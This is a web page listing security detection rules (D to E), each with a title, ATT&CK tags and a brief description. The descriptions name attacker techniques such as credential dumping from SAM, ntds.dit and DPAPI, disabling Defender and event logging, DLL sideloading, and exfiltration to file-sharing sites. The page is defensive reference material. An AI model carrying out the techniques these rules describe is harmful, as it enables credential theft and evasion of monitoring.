Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

This rule detects a DHCP server in which a specified Callout DLL (in registry) was loaded

Read More
Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1202 cve.2022-30190 ·
Share on:

Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library

Read More
DiagTrackEoP Default Login Username

Aug 12, 2024 · attack.privilege-escalation ·
Share on:

Detects the default "UserName" used by the DiagTrackEoP POC

Read More
Direct Autorun Keys Modification

Aug 12, 2024 · attack.persistence attack.t1547.001 ·
Share on:

Detects direct modification of autostart extensibility point (ASEP) in registry using reg.exe.

Read More
Directory Removal Via Rmdir

Aug 12, 2024 · attack.defense-evasion attack.t1070.004 ·
Share on:

Detects execution of the builtin "rmdir" command in order to delete directories. Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.

Read More
Directory Service Restore Mode(DSRM) Registry Value Tampering

Aug 12, 2024 · attack.persistence attack.t1556 ·
Share on:

Detects changes to "DsrmAdminLogonBehavior" registry value. During a Domain Controller (DC) promotion, administrators create a Directory Services Restore Mode (DSRM) local administrator account with a password that rarely changes. The DSRM account is an “Administrator” account that logs in with the DSRM mode when the server is booting up to restore AD backups or recover the server from a failure. Attackers could abuse DSRM account to maintain their persistence and access to the organization's Active Directory. If the "DsrmAdminLogonBehavior" value is set to "0", the administrator account can only be used if the DC starts in DSRM. If the "DsrmAdminLogonBehavior" value is set to "1", the administrator account can only be used if the local AD DS service is stopped. If the "DsrmAdminLogonBehavior" value is set to "2", the administrator account can always be used.

Read More
DirectorySearcher Powershell Exploitation

Aug 12, 2024 · attack.discovery attack.t1018 ·
Share on:

Enumerates Active Directory to determine computers that are joined to the domain

Read More
DirLister Execution

Aug 12, 2024 · attack.discovery attack.t1083 ·
Share on:

Detect the usage of "DirLister.exe" a utility for quickly listing folder or drive contents. It was seen used by BlackCat ransomware to create a list of accessible directories and files.

Read More
Disable Administrative Share Creation at Startup

Aug 12, 2024 · attack.defense-evasion attack.t1070.005 ·
Share on:

Administrative shares are hidden network shares created by Microsoft Windows NT operating systems that grant system administrators remote access to every disk volume on a network-connected system

Read More
Disable Exploit Guard Network Protection on Windows Defender

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling Windows Defender Exploit Guard Network Protection

Read More
Disable Macro Runtime Scan Scope

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects tampering with the MacroRuntimeScanScope registry key to disable runtime scanning of enabled macros

Read More
Disable Microsoft Defender Firewall via Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage

Read More
Disable of ETW Trace - Powershell

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1562.006 car.2016-04-002 ·
Share on:

Detects usage of powershell cmdlets to disable or remove ETW trace sessions

Read More
Disable Or Stop Services

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services

Read More
Disable Powershell Command History

Aug 12, 2024 · attack.defense-evasion attack.t1070.003 ·
Share on:

Detects scripts or commands that disabled the Powershell command history by removing psreadline module

Read More
Disable Privacy Settings Experience in Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects registry modifications that disable Privacy Settings Experience

Read More
Disable PUA Protection on Windows Defender

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling Windows Defender PUA protection

Read More
Disable Security Events Logging Adding Reg Key MiniNt

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 attack.t1112 ·
Share on:

Detects the addition of a key 'MiniNt' to the registry. Upon a reboot, Windows Event Log service will stopped write events.

Read More
Disable Security Tools

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling security tools

Read More
Disable System Firewall

Aug 12, 2024 · attack.t1562.004 attack.defense-evasion ·
Share on:

Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.

Read More
Disable Tamper Protection on Windows Defender

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects disabling Windows Defender Tamper Protection

Read More
Disable Windows Defender AV Security Monitoring

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects attackers attempting to disable Windows Defender using Powershell

Read More
Disable Windows Event Logging Via Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects tampering with the "Enabled" registry key in order to disable Windows logging of a Windows event channel

Read More
Disable Windows Firewall by Registry

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detect set EnableFirewall to 0 to disable the Windows firewall

Read More
Disable Windows IIS HTTP Logging

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)

Read More
Disable Windows Security Center Notifications

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detect set UseActionCenterExperience to 0 to disable the Windows security center notification

Read More
Disable-WindowsOptionalFeature Command PowerShell

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detect built in PowerShell cmdlet Disable-WindowsOptionalFeature, Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

Read More
Disabled IE Security Features

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features

Read More
Disabled MFA to Bypass Authentication Mechanisms

Aug 12, 2024 · attack.persistence attack.t1556 ·
Share on:

Detection for when multi factor authentication has been disabled, which might indicate a malicious activity to bypass authentication mechanisms.

Read More
Disabled Volume Snapshots

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects commands that temporarily turn off Volume Snapshots

Read More
Disabled Windows Defender Eventlog

Aug 12, 2024 · attack.defense-evasion attack.t1562.001 ·
Share on:

Detects the disabling of the Windows Defender eventlog as seen in relation to Lockbit 3.0 infections

Read More
Disabling Multi Factor Authentication

Aug 12, 2024 · attack.persistence attack.t1556 ·
Share on:

Detects disabling of Multi Factor Authentication.

Read More
Disabling Security Tools

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects disabling security tools

Read More
Disabling Security Tools - Builtin

Aug 12, 2024 · attack.defense-evasion attack.t1562.004 ·
Share on:

Detects disabling security tools

Read More
Discovery of a System Time

Aug 12, 2024 · attack.discovery attack.t1124 ·
Share on:

Identifies use of various commands to query a systems time. This technique may be used before executing a scheduled task or to discover the time zone of a target system.

Read More
Discovery Using AzureHound

Aug 12, 2024 · attack.discovery attack.t1087.004 attack.t1526 ·
Share on:

Detects AzureHound (A BloodHound data collector for Microsoft Azure) activity via the default User-Agent that is used during its operation after successful authentication.

Read More
Disk Image Creation Via Hdiutil - MacOS

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects the execution of the hdiutil utility in order to create a disk image.

Read More
Disk Image Mounting Via Hdiutil - MacOS

Aug 12, 2024 · attack.initial-access attack.t1566.001 attack.t1560.001 ·
Share on:

Detects the execution of the hdiutil utility in order to mount disk images.

Read More
Diskshadow Script Mode - Uncommon Script Extension Execution

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects execution of "Diskshadow.exe" in script mode to execute an script with a potentially uncommon extension. Initial baselining of the allowed extension list is required.

Read More
Displaying Hidden Files Feature Disabled

Aug 12, 2024 · attack.defense-evasion attack.t1564.001 ·
Share on:

Detects modifications to the "Hidden" and "ShowSuperHidden" explorer registry values in order to disable showing of hidden files and system files. This technique is abused by several malware families to hide their files from normal users.

Read More
Django Framework Exceptions

Aug 12, 2024 · attack.initial-access attack.t1190 ·
Share on:

Detects suspicious Django web application framework exceptions that could indicate exploitation attempts

Read More
DLL Execution via Rasautou.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects using Rasautou.exe for loading arbitrary .DLL specified in -d option and executes the export specified in -p.

Read More
DLL Execution Via Register-cimprovider.exe

Aug 12, 2024 · attack.defense-evasion attack.t1574 ·
Share on:

Detects using register-cimprovider.exe to execute arbitrary dll file.

Read More
DLL Load By System Process From Suspicious Locations

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as "C:\Users\Public"

Read More
DLL Load via LSASS

Aug 12, 2024 · attack.execution attack.persistence attack.t1547.008 ·
Share on:

Detects a method to load DLL via LSASS process using an undocumented Registry key

Read More
DLL Loaded From Suspicious Location Via Cmspt.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.003 ·
Share on:

Detects cmstp loading "dll" or "ocx" files from suspicious locations

Read More
DLL Loaded via CertOC.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.

Read More
DLL Search Order Hijackig Via Additional Space in Path

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.002 ·
Share on:

Detects when an attacker create a similar folder structure to windows system folders such as (Windows, Program Files...) but with a space in order to trick DLL load search order and perform a "DLL Search Order Hijacking" attack

Read More
DLL Sideloading by VMware Xfer Utility

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects execution of VMware Xfer utility (VMwareXferlogs.exe) from the non-default directory which may be an attempt to sideload arbitrary DLL

Read More
DLL Sideloading Of ShellChromeAPI.DLL

Aug 12, 2024 · attack.defense-evasion attack.persistence attack.privilege-escalation attack.t1574.001 attack.t1574.002 ·
Share on:

Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter

Read More
Dllhost.EXE Execution Anomaly

Aug 12, 2024 · attack.defense-evasion attack.t1055 ·
Share on:

Detects a "dllhost" process spawning with no commandline arguments which is very rare to happen and could indicate process injection activity or malware mimicking similar system processes.

Read More
DllUnregisterServer Function Call Via Msiexec.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.007 ·
Share on:

Detects MsiExec loading a DLL and calling its DllUnregisterServer function

Read More
DNS Events Related To Mining Pools

Aug 12, 2024 · attack.execution attack.t1569.002 attack.impact attack.t1496 ·
Share on:

Identifies clients that may be performing DNS lookups associated with common currency mining pools.

Read More
DNS Exfiltration and Tunneling Tools Execution

Aug 12, 2024 · attack.exfiltration attack.t1048.001 attack.command-and-control attack.t1071.004 attack.t1132.001 ·
Share on:

Well-known DNS Exfiltration tools execution

Read More
DNS HybridConnectionManager Service Bus

Aug 12, 2024 · attack.persistence attack.t1554 ·
Share on:

Detects Azure Hybrid Connection Manager services querying the Azure service bus service

Read More
DNS Query for Anonfiles.com Domain - DNS Client

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects DNS queries for anonfiles.com, which is an anonymous file upload platform often used for malicious purposes

Read More
DNS Query for Anonfiles.com Domain - Sysmon

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects DNS queries for "anonfiles.com", which is an anonymous file upload platform often used for malicious purposes

Read More
DNS Query Request By Regsvr32.EXE

Aug 12, 2024 · attack.execution attack.t1559.001 attack.defense-evasion attack.t1218.010 ·
Share on:

Detects DNS queries initiated by "Regsvr32.exe"

Read More
DNS Query Request To OneLaunch Update Service

Aug 12, 2024 · attack.collection attack.t1056 ·
Share on:

Detects DNS query requests to "update.onelaunch.com". This domain is associated with the OneLaunch adware application. When the OneLaunch application is installed it will attempt to get updates from this domain.

Read More
DNS Query To AzureWebsites.NET By Non-Browser Process

Aug 12, 2024 · attack.command-and-control attack.t1219 ·
Share on:

Detects a DNS query by a non browser process on the system to "azurewebsites.net". The latter was often used by threat actors as a malware hosting and exfiltration site.

Read More
DNS Query to External Service Interaction Domains

Aug 12, 2024 · attack.initial-access attack.t1190 attack.reconnaissance attack.t1595.002 ·
Share on:

Detects suspicious DNS queries to external service interaction domains often used for out-of-band interactions after successful RCE

Read More
DNS Query To MEGA Hosting Website

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects DNS queries for subdomains related to MEGA sharing website

Read More
DNS Query To MEGA Hosting Website - DNS Client

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects DNS queries for subdomains related to MEGA sharing website

Read More
DNS Query To Ufile.io

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

Read More
DNS Query To Ufile.io - DNS Client

Aug 12, 2024 · attack.exfiltration attack.t1567.002 ·
Share on:

Detects DNS queries to "ufile.io", which was seen abused by malware and threat actors as a method for data exfiltration

Read More
DNS Query Tor .Onion Address - Sysmon

Aug 12, 2024 · attack.command-and-control attack.t1090.003 ·
Share on:

Detects DNS queries to an ".onion" address related to Tor routing networks

Read More
DNS RCE CVE-2020-1350

Aug 12, 2024 · attack.initial-access attack.t1190 attack.execution attack.t1569.002 cve.2020-1350 detection.emerging-threats ·
Share on:

Detects exploitation of DNS RCE bug reported in CVE-2020-1350 by the detection of suspicious sub process

Read More
DNS Server Discovery Via LDAP Query

Aug 12, 2024 · attack.discovery attack.t1482 ·
Share on:

Detects DNS server discovery via LDAP query requests from uncommon applications

Read More
DNS Server Error Failed Loading the ServerLevelPluginDLL

Aug 12, 2024 · attack.defense-evasion attack.t1574.002 ·
Share on:

Detects a DNS server error in which a specified plugin DLL (in registry) could not be loaded

Read More
DNS TOR Proxies

Aug 12, 2024 · attack.exfiltration attack.t1048 ·
Share on:

Identifies IPs performing DNS lookups associated with common Tor proxies.

Read More
DNS TXT Answer with Possible Execution Strings

Aug 12, 2024 · attack.command-and-control attack.t1071.004 ·
Share on:

Detects strings used in command execution in DNS TXT Answer

Read More
DNS-over-HTTPS Enabled by Registry

Aug 12, 2024 · attack.defense-evasion attack.t1140 attack.t1112 ·
Share on:

Detects when a user enables DNS-over-HTTPS. This can be used to hide internet activity or be used to hide the process of exfiltrating data. With this enabled organization will lose visibility into data such as query type, response and originating IP that are used to determine bad actors.

Read More
Docker Container Discovery Via Dockerenv Listing

Aug 12, 2024 · attack.discovery attack.t1082 ·
Share on:

Detects listing or file reading of ".dockerenv" which can be a sing of potential container discovery

Read More
Domain Trust Discovery Via Dsquery

Aug 12, 2024 · attack.discovery attack.t1482 ·
Share on:

Detects execution of "dsquery.exe" for domain trust discovery

Read More
DotNET Assembly DLL Loaded Via Office Application

Aug 12, 2024 · attack.execution attack.t1204.002 ·
Share on:

Detects any assembly DLL being loaded by an Office Product

Read More
DotNet CLR DLL Loaded By Scripting Applications

Aug 12, 2024 · attack.execution attack.privilege-escalation attack.t1055 ·
Share on:

Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.

Read More
Download File To Potentially Suspicious Directory Via Wget

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects the use of wget to download content to a suspicious directory

Read More
Download from Suspicious Dyndns Hosts

Aug 12, 2024 · attack.defense-evasion attack.command-and-control attack.t1105 attack.t1568 ·
Share on:

Detects download of certain file types from hosts with dynamic DNS names (selected list)

Read More
Download From Suspicious TLD - Blacklist

Aug 12, 2024 · attack.initial-access attack.t1566 attack.execution attack.t1203 attack.t1204.002 ·
Share on:

Detects download of certain file types from hosts in suspicious TLDs

Read More
Download From Suspicious TLD - Whitelist

Aug 12, 2024 · attack.initial-access attack.t1566 attack.execution attack.t1203 attack.t1204.002 ·
Share on:

Detects executable downloads from suspicious remote systems

Read More
DPAPI Backup Keys And Certificate Export Activity IOC

Aug 12, 2024 · attack.t1555 attack.t1552.004 ·
Share on:

Detects file names with specific patterns seen generated and used by tools such as Mimikatz and DSInternals related to exported or stolen DPAPI backup keys and certificates.

Read More
DPAPI Domain Backup Key Extraction

Aug 12, 2024 · attack.credential-access attack.t1003.004 ·
Share on:

Detects tools extracting LSA secret DPAPI domain backup key from Domain Controllers

Read More
DPAPI Domain Master Key Backup Attempt

Aug 12, 2024 · attack.credential-access attack.t1003.004 ·
Share on:

Detects anyone attempting a backup for the DPAPI Master Key. This events gets generated at the source and not the Domain Controller.

Read More
DPRK Threat Actor - C2 Communication DNS Indicators

Aug 12, 2024 · attack.command-and-control detection.emerging-threats ·
Share on:

Detects DNS queries for C2 domains used by DPRK Threat actors.

Read More
Driver Load From A Temporary Directory

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.t1543.003 ·
Share on:

Detects a driver load from a temporary directory

Read More
Driver/DLL Installation Via Odbcconf.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218.008 ·
Share on:

Detects execution of "odbcconf" with "INSTALLDRIVER" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.

Read More
DriverQuery.EXE Execution

Aug 12, 2024 · attack.discovery ·
Share on:

Detect usage of the "driverquery" utility. Which can be used to perform reconnaissance on installed drivers

Read More
Drop Binaries Into Spool Drivers Color Folder

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the creation of suspcious binary files inside the "\windows\system32\spool\drivers\color" as seen in the blog referenced below

Read More
Droppers Exploiting CVE-2017-11882

Aug 12, 2024 · attack.execution attack.t1203 attack.t1204.002 attack.initial-access attack.t1566.001 cve.2017-11882 detection.emerging-threats ·
Share on:

Detects exploits that use CVE-2017-11882 to start EQNEDT32.EXE and other sub processes like mshta.exe

Read More
Dropping Of Password Filter DLL

Aug 12, 2024 · attack.credential-access attack.t1556.002 ·
Share on:

Detects dropping of dll files in system32 that may be used to retrieve user credentials from LSASS

Read More
DSInternals Suspicious PowerShell Cmdlets

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

Read More
DSInternals Suspicious PowerShell Cmdlets - ScriptBlock

Aug 12, 2024 · attack.execution attack.t1059.001 ·
Share on:

Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.

Read More
Dump Credentials from Windows Credential Manager With PowerShell

Aug 12, 2024 · attack.credential-access attack.t1555 ·
Share on:

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

Read More
Dump Ntds.dit To Suspicious Location

Aug 12, 2024 · attack.execution ·
Share on:

Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location

Read More
Dumping of Sensitive Hives Via Reg.EXE

Aug 12, 2024 · attack.credential-access attack.t1003.002 attack.t1003.004 attack.t1003.005 car.2013-07-001 ·
Share on:

Detects the usage of "reg.exe" in order to dump sensitive registry hives. This includes SAM, SYSTEM and SECURITY hives.

Read More
Dumping Process via Sqldumper.exe

Aug 12, 2024 · attack.credential-access attack.t1003.001 ·
Share on:

Detects process dump via legitimate sqldumper.exe binary

Read More
DumpMinitool Execution

Aug 12, 2024 · attack.defense-evasion attack.t1036 attack.t1003.001 ·
Share on:

Detects the use of "DumpMinitool.exe" a tool that allows the dump of process memory via the use of the "MiniDumpWriteDump"

Read More
DumpStack.log Defender Evasion

Aug 12, 2024 · attack.defense-evasion ·
Share on:

Detects the use of the filename DumpStack.log to evade Microsoft Defender

Read More
Dynamic .NET Compilation Via Csc.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1027.004 ·
Share on:

Detects execution of "csc.exe" to compile .NET code. Attackers often leverage this to compile code on the fly and use it in other stages.

Read More
Dynamic CSharp Compile Artefact

Aug 12, 2024 · attack.defense-evasion attack.t1027.004 ·
Share on:

When C# is compiled dynamically, a .cmdline file will be created as a part of the process. Certain processes are not typically observed compiling C# code, but can do so without touching disk. This can be used to unpack a payload for execution

Read More
Elise Backdoor Activity

Aug 12, 2024 · attack.g0030 attack.g0050 attack.s0081 attack.execution attack.t1059.003 detection.emerging-threats ·
Share on:

Detects Elise backdoor activity used by APT32

Read More
Email Exifiltration Via Powershell

Aug 12, 2024 · attack.exfiltration ·
Share on:

Detects email exfiltration via powershell cmdlets

Read More
Enable BPF Kprobes Tracing

Aug 12, 2024 · attack.execution attack.defense-evasion ·
Share on:

Detects common command used to enable bpf kprobes tracing

Read More
Enable LM Hash Storage - ProcCreation

Aug 12, 2024 · attack.defense-evasion attack.t1112 ·
Share on:

Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.

Read More
Enable Local Manifest Installation With Winget

Aug 12, 2024 · attack.defense-evasion attack.persistence ·
Share on:

Detects changes to the AppInstaller (winget) policy. Specifically the activation of the local manifest installation, which allows a user to install new packages via custom manifests.

Read More
Enable Microsoft Dynamic Data Exchange

Aug 12, 2024 · attack.execution attack.t1559.002 ·
Share on:

Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.

Read More
Enable Windows Remote Management

Aug 12, 2024 · attack.lateral-movement attack.t1021.006 ·
Share on:

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

Read More
Enabled User Right in AD to Control User Objects

Aug 12, 2024 · attack.persistence attack.t1098 ·
Share on:

Detects scenario where if a user is assigned the SeEnableDelegationPrivilege right in Active Directory it would allow control of other AD user objects.

Read More
Enabling COR Profiler Environment Variables

Aug 12, 2024 · attack.persistence attack.privilege-escalation attack.defense-evasion attack.t1574.012 ·
Share on:

Detects .NET Framework CLR and .NET Core CLR "cor_enable_profiling" and "cor_profiler" variables being set and configured.

Read More
End User Consent

Aug 12, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects when an end user consents to an application

Read More
End User Consent Blocked

Aug 12, 2024 · attack.credential-access attack.t1528 ·
Share on:

Detects when end user consent is blocked due to risk-based consent.

Read More
Enumerate All Information With Whoami.EXE

Aug 12, 2024 · attack.discovery attack.t1033 car.2016-03-001 ·
Share on:

Detects the execution of "whoami.exe" with the "/all" flag

Read More
Enumerate Credentials from Windows Credential Manager With PowerShell

Aug 12, 2024 · attack.credential-access attack.t1555 ·
Share on:

Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials.

Read More
Enumeration for 3rd Party Creds From CLI

Aug 12, 2024 · attack.credential-access attack.t1552.002 ·
Share on:

Detects processes that query known 3rd party registry keys that holds credentials via commandline

Read More
Enumeration for Credentials in Registry

Aug 12, 2024 · attack.credential-access attack.t1552.002 ·
Share on:

Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services

Read More
Equation Group C2 Communication

Aug 12, 2024 · attack.command-and-control attack.g0020 attack.t1041 detection.emerging-threats ·
Share on:

Detects communication to C2 servers mentioned in the operational notes of the ShadowBroker leak of EquationGroup C2 tools

Read More
Equation Group DLL_U Export Function Load

Aug 12, 2024 · attack.g0020 attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects a specific export function name used by one of EquationGroup tools

Read More
Equation Group Indicators

Aug 12, 2024 · attack.execution attack.g0020 attack.t1059.004 ·
Share on:

Detects suspicious shell commands used in various Equation Group scripts and tools

Read More
Esentutl Gather Credentials

Aug 12, 2024 · attack.credential-access attack.t1003 attack.t1003.003 ·
Share on:

Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.

Read More
Esentutl Steals Browser Information

Aug 12, 2024 · attack.collection attack.t1005 ·
Share on:

One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe

Read More
Esentutl Volume Shadow Copy Service Keys

Aug 12, 2024 · attack.credential-access attack.t1003.002 ·
Share on:

Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\System\CurrentControlSet\Services\VSS\Diag\VolSnap\Volume are captured.

Read More
ETW Logging Disabled For rpcrt4.dll

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·
Share on:

Detects changes to the "ExtErrorInformation" key in order to disable ETW logging for rpcrt4.dll

Read More
ETW Logging Disabled For SCM

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·
Share on:

Detects changes to the "TracingDisabled" key in order to disable ETW logging for services.exe (SCM)

Read More
ETW Logging Disabled In .NET Processes - Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·
Share on:

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

Read More
ETW Logging Disabled In .NET Processes - Sysmon Registry

Aug 12, 2024 · attack.defense-evasion attack.t1112 attack.t1562 ·
Share on:

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

Read More
ETW Logging Tamper In .NET Processes Via CommandLine

Aug 12, 2024 · attack.defense-evasion attack.t1562 ·
Share on:

Detects changes to environment variables related to ETW logging via the CommandLine. This could indicate potential adversaries stopping ETW providers recording loaded .NET assemblies.

Read More
ETW Trace Evasion Activity

Aug 12, 2024 · attack.defense-evasion attack.t1070 attack.t1562.006 car.2016-04-002 ·
Share on:

Detects command line activity that tries to clear or disable any ETW trace log which could be a sign of logging evasion.

Read More
EventLog EVTX File Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects the deletion of the event log files which may indicate an attempt to destroy forensic evidence

Read More
EvilNum APT Golden Chickens Deployment Via OCX Files

Aug 12, 2024 · attack.defense-evasion attack.t1218.011 detection.emerging-threats ·
Share on:

Detects Golden Chickens deployment method as used by Evilnum and described in ESET July 2020 report

Read More
EVTX Created In Uncommon Location

Aug 12, 2024 · attack.defense-evasion attack.t1562.002 ·
Share on:

Detects the creation of new files with the ".evtx" extension in non-common or non-standard location. This could indicate tampering with default EVTX locations in order to evade security controls or simply exfiltration of event log to search for sensitive information within. Note that backup software and legitimate administrator might perform similar actions during troubleshooting.

Read More
Exchange Exploitation CVE-2021-28480

Aug 12, 2024 · attack.initial-access attack.t1190 cve.2021-28480 detection.emerging-threats ·
Share on:

Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480

Read More
Exchange Exploitation Used by HAFNIUM

Aug 12, 2024 · attack.initial-access attack.t1190 attack.g0125 detection.emerging-threats ·
Share on:

Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity

Read More
Exchange PowerShell Cmdlet History Deleted

Aug 12, 2024 · attack.defense-evasion attack.t1070 ·
Share on:

Detects the deletion of the Exchange PowerShell cmdlet History logs which may indicate an attempt to destroy forensic evidence

Read More
Exchange PowerShell Snap-Ins Usage

Aug 12, 2024 · attack.execution attack.t1059.001 attack.collection attack.t1114 ·
Share on:

Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27

Read More
Exchange Set OabVirtualDirectory ExternalUrl Property

Aug 12, 2024 · attack.persistence attack.t1505.003 ·
Share on:

Rule to detect an adversary setting OabVirtualDirectory External URL property to a script in Exchange Management log

Read More
Executable from Webdav

Aug 12, 2024 · attack.command-and-control attack.t1105 ·
Share on:

Detects executable access via webdav6. Can be seen in APT 29 such as from the emulated APT 29 hackathon https://github.com/OTRF/detection-hackathon-apt29/

Read More
Execute Code with Pester.bat

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1216 ·
Share on:

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

Read More
Execute Code with Pester.bat as Parent

Aug 12, 2024 · attack.execution attack.t1059.001 attack.defense-evasion attack.t1216 ·
Share on:

Detects code execution via Pester.bat (Pester - Powershell Modulte for testing)

Read More
Execute Files with Msdeploy.exe

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

Detects file execution using the msdeploy.exe lolbin

Read More
Execute From Alternate Data Streams

Aug 12, 2024 · attack.defense-evasion attack.t1564.004 ·
Share on:

Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection

Read More
Execute Invoke-command on Remote Host

Aug 12, 2024 · attack.lateral-movement attack.t1021.006 ·
Share on:

Adversaries may use Valid Accounts to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.

Read More
Execute MSDT Via Answer File

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detects execution of "msdt.exe" using an answer file which is simulating the legitimate way of calling msdt via "pcwrun.exe" (For example from the compatibility tab)

Read More
Execute Pcwrun.EXE To Leverage Follina

Aug 12, 2024 · attack.defense-evasion attack.t1218 attack.execution ·
Share on:

Detects indirect command execution via Program Compatibility Assistant "pcwrun.exe" leveraging the follina (CVE-2022-30190) vulnerability

Read More
Execution DLL of Choice Using WAB.EXE

Aug 12, 2024 · attack.defense-evasion attack.t1218 ·
Share on:

This rule detects that the path to the DLL written in the registry is different from the default one. Launched WAB.exe tries to load the DLL from Registry.

